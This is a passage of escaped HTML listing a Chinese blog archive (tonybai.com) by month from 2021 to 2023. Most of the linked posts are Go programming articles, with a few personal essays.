test框架驱动的自动化测试\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/03/25/the-guide-of-developing-cli-program-in-go\"\u003eGo开发命令行程序指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/03/22/global-variable-in-go/\"\u003e聊聊Go语言的全局变量\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/03/20/godoc-vs-go-doc-vs-pkgsite/\"\u003e聊聊godoc、go doc与pkgsite\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/03/15/an-intro-of-go-subtest/\"\u003e一文搞懂Go subtest\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/03/12/is-go-object-oriented/\"\u003eGo是一门面向对象编程语言吗\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/03/03/the-approach-to-go-get-private-go-module-in-house-part3/\"\u003e小厂内部私有Go module拉取方案3\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202302\"\u003e2023.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/02/23/learn-go-in-10-min\"\u003e十分钟入门Go语言\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/02/22/rust-vs-go-in-2023/\"\u003e2023年的Rust与Go[译]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/02/19/how-to-determine-if-two-interface-vars-are-equal/\"\u003e一文告诉你如何判断Go接口变量是否相等\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/02/08/some-changes-in-go-1-20/\"\u003eGo 1.20中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/02/01/serialize-roaring-bitmap-to-json\"\u003e将Roaring Bitmap序列化为JSON\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202301\"\u003e2023.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/01/13/go-and-tls13\"\u003e聊聊Go与TLS 1.3\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/01/11/2022-blog-summary\"\u003e2022年博客回顾与总结\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/01/10/how-prometheus-gauge-add-and-sub/\"\u003e聊聊Prometheus Gauge的增减操作实现\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零二二\"\u003e二零二二\u003c/h3\u003e\n\u003ch4 id=\"202212\"\u003e2022.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/12/29/the-2022-review-of-go-programming-language\"\u003e2022年Go语言盘点：泛型落地，无趣很好，稳定为王\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/12/19/argentina-wins-qatar-world-cup\"\u003e阿根廷圆梦卡塔尔世界杯，梅西正式加冕第三代球王\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/12/18/go-type-system\"\u003eGo类型系统：有何与众不同\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/12/07/why-go-succeed/\"\u003eGo为什么能成功\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202211\"\u003e2022.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/11/26/intro-of-google-go-style\"\u003e这可能是最权威、最全面的Go语言编码风格规范了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/11/17/go-1-20-foresight\"\u003eGo 1.20新特性前瞻\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/11/15/using-reflect-to-manipulate-channels\"\u003e使用反射操作channel\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/11/11/go-opensource-13-years/\"\u003eGo，13周年[译]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/11/08/understand-go-context-by-example\"\u003e通过实例理解Go标准库context包\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202210\"\u003e2022.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/10/30/first-exploration-of-slog\"\u003eslog：Go官方版结构化日志包\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/10/27/when-encountering-slice-during-function-design\"\u003e当函数设计遇到切片\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/10/25/the-modules-that-go-standard-library-depend-on\"\u003eGo标准库依赖的那些modules\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/10/21/understand-go-ssa-by-example/\"\u003e通过实例理解Go静态单赋值（SSA）\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/10/17/understand-go-inlining-optimisations-by-example\"\u003e通过实例理解Go内联优化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/10/04/remembering-grandma-and-grandpa-on-chung-yeung-festival/\"\u003e重阳节思姥姥姥爷\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202209\"\u003e2022.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/09/25/the-tao-of-go\"\u003eGo语言之道[译]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/09/20/use-viper-to-do-merge-of-yml-configuration-files/\"\u003e使用viper实现yaml配置文件的合并\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/09/12/how-to-install-a-go-app-as-a-system-service-like-gitlab-runner\"\u003e如何像gitlab-runner那样将Go应用安装为系统服务\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/09/10/an-intro-of-govulncheck\"\u003e有没有安全漏洞，你说了不算，govulncheck是裁判！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/09/08/make-reviewdog-support-gitlab-push-commit-to-preserve-the-code-quality-floor\"\u003e让reviewdog支持gitlab-push-commit，守住代码质量下限\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202208\"\u003e2022.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/08/28/the-visiting-notes-of-2022-china-air-force-aviation-open-day/\"\u003e因为热爱：2022年空军航空开放日观展记\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/08/22/some-changes-in-go-1-19\"\u003eGo 1.19中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/08/15/developing-kubernetes-operators-in-go-part1\"\u003e使用Go开发Kubernetes Operator：基本结构\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/08/12/practices-of-multi-label-based-issue-driven-software-development\"\u003e基于多label的issue驱动软件开发的实践\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202207\"\u003e2022.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/07/25/bidirectional-data-exchange-between-kernel-and-user-states-of-ebpf-programs-using-go\"\u003e使用Go语言实现eBPF程序内核态与用户态的双向数据交换\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/07/19/develop-ebpf-program-in-go/\"\u003e使用Go语言开发eBPF程序\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/07/17/two-way-authentication-using-go-and-sm-algorithm\"\u003e使用Go基于国密算法实现双向认证\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/07/07/gocn-community-go-book-club-issue2-go-programming-from-beginner-to-master\"\u003eGoCN社区Go读书会第二期：《Go语言精进之路》\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/07/05/develop-hello-world-ebpf-program-in-c-from-scratch\"\u003e使用C语言从头开发一个Hello World级别的eBPF程序\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202206\"\u003e2022.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/06/21/data-race-detection-and-pattern-in-go\"\u003eGo语言数据竞争检测与数据竞争模式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/06/18/the-approach-to-go-get-private-go-module-in-house-part2\"\u003e小厂内部私有Go module拉取方案（续）\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/06/15/prometheus-can-not-pick-up-data-because-of-the-prometheus-client-package\"\u003ePrometheus采不到数据了！居然是Prometheus client包的锅\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/06/12/go-1-19-foresight\"\u003eGo 1.19新特性前瞻\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/06/06/the-disappeared-method-in-method-set\"\u003eGo：方法集合中“消失的方法”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/06/01/reviewing-those-new-go-language-books-coming-out-in-2021-2022\"\u003e评点2021-2022年上市的那些Go语言新书\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202205\"\u003e2022.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/30/an-example-of-implement-dsl-using-antlr-and-go-part5\"\u003e手把手教你使用ANTLR和Go实现一门DSL语言（第五部分）：错误处理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/28/an-example-of-implement-dsl-using-antlr-and-go-part4\"\u003e手把手教你使用ANTLR和Go实现一门DSL语言（第四部分）：组装语义模型并测试DSL\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/27/an-example-of-implement-dsl-using-antlr-and-go-part3\"\u003e手把手教你使用ANTLR和Go实现一门DSL语言（第三部分）：建立和验证语义模型\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/25/an-example-of-implement-dsl-using-antlr-and-go-part2\"\u003e手把手教你使用ANTLR和Go实现一门DSL语言（第二部分）：文法验证\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/24/an-example-of-implement-dsl-using-antlr-and-go-part1\"\u003e手把手教你使用ANTLR和Go实现一门DSL语言（第一部分）：设计DSL语法与文法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/20/solving-problems-in-generic-function-implementation-using-named-return-values\"\u003e使用具名返回值巧妙解决泛型函数返回零值的问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/17/understand-the-nature-of-go-method-and-how-to-choose-the-correct-receiver-type\"\u003e绞尽脑汁，帮你理解方法本质并选择正确的receiver类型\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/16/the-short-guide-of-embracing-c-lang-for-gopher\"\u003eGo程序员拥抱C语言简明指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/10/introduction-of-implement-dsl-using-antlr-and-go\"\u003e使用ANTLR和Go实现DSL入门\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/05/04/the-paper-of-go-programming-language-and-environment\"\u003eGo编程语言与环境：万字长文复盘导致Go语言成功的那些设计决策\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202204\"\u003e2022.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/04/28/the-standard-layout-of-go-project\"\u003e我来告诉你Go项目标准结构如何布局\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/04/23/taking-a-closer-look-at-programming-thinking-in-go\"\u003e世界读书日：带你走近Go语言编程思维\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/04/20/some-changes-in-go-1-18\"\u003eGo 1.18中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/04/18/inside-go-string-comparison/\"\u003eGo字符串比较，终于有人讲清楚了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/04/05/my-grandma\"\u003e我的姥姥\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/04/02/how-go-mitigates-supply-chain-attacks\"\u003eGo是如何缓解供应链攻击的[译]\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202203\"\u003e2022.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/28/the-comparison-of-the-go-community-leading-kakfa-clients\"\u003eGo社区主流Kafka客户端简要对比\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/25/intro-generics\"\u003eGo泛型介绍[译]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/24/the-result-of-a-len-expression-is-constant-or-variable\"\u003elen(s)表达式的求值结果究竟是常量还是变量？我来告诉你\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/21/go-native-support-incremental-build\"\u003eGo是否支持增量构建？我来告诉你！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/19/for-range-vs-classic-for-loop-when-iterating-large-array\"\u003e针对大型数组的迭代，for range真的比经典for loop慢吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/16/go-1-18-released\"\u003eGo 1.18版本正式发布了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/15/the-underlying-of-a-map-type-variable\"\u003eGo语言map类型变量背后的那些事儿\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/14/software-supply-chain-security-in-go\"\u003e聊聊Go语言的软件供应链安全\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/12/dependency-hell-in-go/\"\u003e为什么有了Go module后“依赖地狱”问题依然存在\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/06/the-2022-plan-of-gopher-tribe\"\u003eGopher部落：2022年要做的事儿\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/03/05/go-logging-practice\"\u003e聊聊Go应用输出日志的工程实践\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202202\"\u003e2022.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/02/27/go-addressable\"\u003e为什么这个T类型实例无法调用*T类型的方法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/02/21/how-gc-detect-pointer-in-mem-obj\"\u003eGo GC如何检测内存对象中是否包含指针\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/02/17/go-first-course-close\"\u003e“Go语言第一课”结课了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/02/15/whether-go-allocate-underlying-array-for-empty-slice\"\u003eGo究竟是否为空切片分配了底层数组\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202201\"\u003e2022.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/01/16/the-2021-review-of-go-programming-language\"\u003e2021年Go语言盘点：厉兵秣马强技能，蓄势待发新征程\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2022/01/15/go-programming-from-beginners-to-masters-is-published\"\u003eGo语言精进之路：为Gopher们准备的“知识年货”\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零二一\"\u003e二零二一\u003c/h3\u003e\n\u003ch4 id=\"202112\"\u003e2021.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/12/31/2021-blog-summary\"\u003e2021年博客回顾与总结\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/12/18/replace-empty-interface-with-any-first-after-switching-to-go-1-18\"\u003e切换到Go 1.18后的第一件事：将interface{}全部替换为any\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/12/17/gopher-tribe-first-anniversary-review\"\u003eGopher部落：简单复盘这一年\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/12/15/go-1-18-beta1\"\u003eGo 1.18 Beta1版本发布，支持泛型[译]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/12/14/the-misconception-of-using-docker-to-break-out-of-6w-ports-of-the-client\"\u003e使用Docker容器突破客户端6w可用端口的误区\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/12/02/go-has-implicit-type-convertion\"\u003e惊了！原来Go语言也有隐式转型\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/12/01/first-class-fuzzing-in-go-1-18\"\u003eGo 1.18新特性前瞻：原生支持Fuzzing测试\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202111\"\u003e2021.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/11/30/leo-messi-win-his-seventh-ballondor\"\u003e梅西凑齐七个金球成功召唤神龙\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/11/27/ants-call-submit-in-submit-may-cause-blocking\"\u003eants：在Submit中再调用当前Pool的Submit可能导致阻塞\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/11/26/build-all-in-one-runtime-environment-with-docker-compose\"\u003e使用Docker Compose构建一键启动的运行环境\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/11/12/go-workspace-mode-in-go-1-18\"\u003eGo 1.18新特性前瞻：Go工作区模式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/11/11/go-opensource-12-years\"\u003eGo，12周年\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/11/07/using-generics-in-go\"\u003eIan Lance Taylor：Go泛型使用的一般准则\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202110\"\u003e2021.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/go-course-faq\"\u003eGo语言第一课FAQ\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/10/28/expectations-for-generics-in-go-1.18\"\u003eGo 1.18对泛型的支持策略\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/10/25/the-things-behind-the-first-lesson-of-go-language\"\u003eGo语言第一课背后的那些事\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/10/15/your-first-go-course-by-tonybai/\"\u003eTony Bai带你入门Go语言\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/10/06/the-go-programming-language-and-environment/\"\u003eGo语言之父谈Go编程语言与环境\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202109\"\u003e2021.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/09/26/the-design-of-the-response-for-grpc-server\"\u003egRPC服务的响应设计\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/09/17/those-things-about-grpc-client/\"\u003egRPC客户端的那些事儿\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/09/15/getting-closer-to-zhou-enlai/\"\u003e《走近周恩来》读后感\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/09/07/a-tour-of-phoenix-mountain\"\u003e亲子游之丹东凤凰山\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/09/03/the-approach-to-go-get-private-go-module-in-house\"\u003e小厂内部私有Go module拉取方案\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202108\"\u003e2021.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/08/25/brooks-wirth-and-go\"\u003eBrooks、Wirth和Go\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/08/20/using-register-based-calling-convention-in-go-1-17/\"\u003eGo 1.17新特性详解：使用基于寄存器的调用惯例\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/08/19/go-module-changes-in-go-1-17\"\u003eGo 1.17新特性详解：module依赖图修剪与延迟module加载\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/08/18/go-language-specs-changes-in-go-1-17\"\u003eGo 1.17新特性详解：支持将切片转换为数组指针\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/08/17/some-changes-in-go-1-17\"\u003eGo 1.17中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/08/11/how-to-test-go-beta-or-rc/\"\u003e一文告诉你如何帮助测试Go语言Beta公测版或RC候选发布版\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/08/09/when-variables-captured-by-closures-are-recycled-in-go/\"\u003eGo中被闭包捕获的变量何时会被回收\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202107\"\u003e2021.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/07/31/io-multiplexing-model-tcp-stream-protocol-parsing-practice-in-go/\"\u003eGo基于I/O多路复用的TCP协议流解析实践\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/07/28/classic-blocking-network-tcp-stream-protocol-parsing-practice-in-go/\"\u003eGo经典阻塞式TCP协议流解析的实践\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/07/23/my-second-daughter-is-one-year-old\"\u003e二闺女一周岁了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/07/19/understand-go-plugin\"\u003e一文搞懂Go语言的plugin\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/07/14/uber-zap-advanced-usage\"\u003e一文告诉你如何用好uber开源的zap日志库\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/07/10/read-ini-config-item-by-passing-section-key\"\u003e使用section.key的形式读取ini配置项\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/07/06/add-metrics-for-go-application-using-go-metrics\"\u003e使用go-metrics在Go应用中增加度量\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202106\"\u003e2021.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/06/28/understand-go-execution-tracer-by-example\"\u003e通过实例理解Go Execution Tracer\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/06/04/go-source-analysis-with-functrace\"\u003e使用functrace辅助进行Go项目源码分析\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202105\"\u003e2021.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/05/24/understand-go-escape-analysis-by-example/\"\u003e通过实例理解Go逃逸分析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/05/14/a-bug-of-minikube-1-20\"\u003eminikube v1.20.0版本的一个bug\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202104\"\u003e2021.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/04/25/server-side-performance-nethttp-vs-fasthttp\"\u003eGo标准库http与fasthttp服务端性能比较\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/04/19/variable-operation-using-reflection-in-go\"\u003e使用reflect包在反射世界里读写各类型变量\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/04/14/expvarmon-save-and-convert-to-xlsx\"\u003e给expvarmon插上数据持久化的“翅膀”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/04/12/pitfall-in-std-flag-pkg/\"\u003eGo标准库flag包的“小陷阱”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/04/09/ten-commandments-of-go\"\u003eGo语言“十诫”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/04/07/go-generics-use-type-sets-to-remove-type-keyword/\"\u003eGo泛型语法又出“幺蛾子”：引入type set概念和移除type list中的type关键字\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/04/02/go-http-client-connection-control/\"\u003ehttp.Client的连接行为控制详解\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202103\"\u003e2021.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/03/31/common-anti-patterns-in-go\"\u003eGo语言中常见的几种反模式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/03/29/darker-corners-of-go-part2/\"\u003eGo语言的“黑暗角落”：盘点学习Go语言时遇到的那些陷阱[译]（第二部分）\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/03/29/darker-corners-of-go-part1/\"\u003eGo语言的“黑暗角落”：盘点学习Go语言时遇到的那些陷阱[译]（第一部分）\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/03/26/implement-a-queue-with-select-listener-in-go\"\u003e使用Go实现可用select监听的队列\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/03/23/io-fs-interface-is-an-excellent-design/\"\u003e对Go 1.16 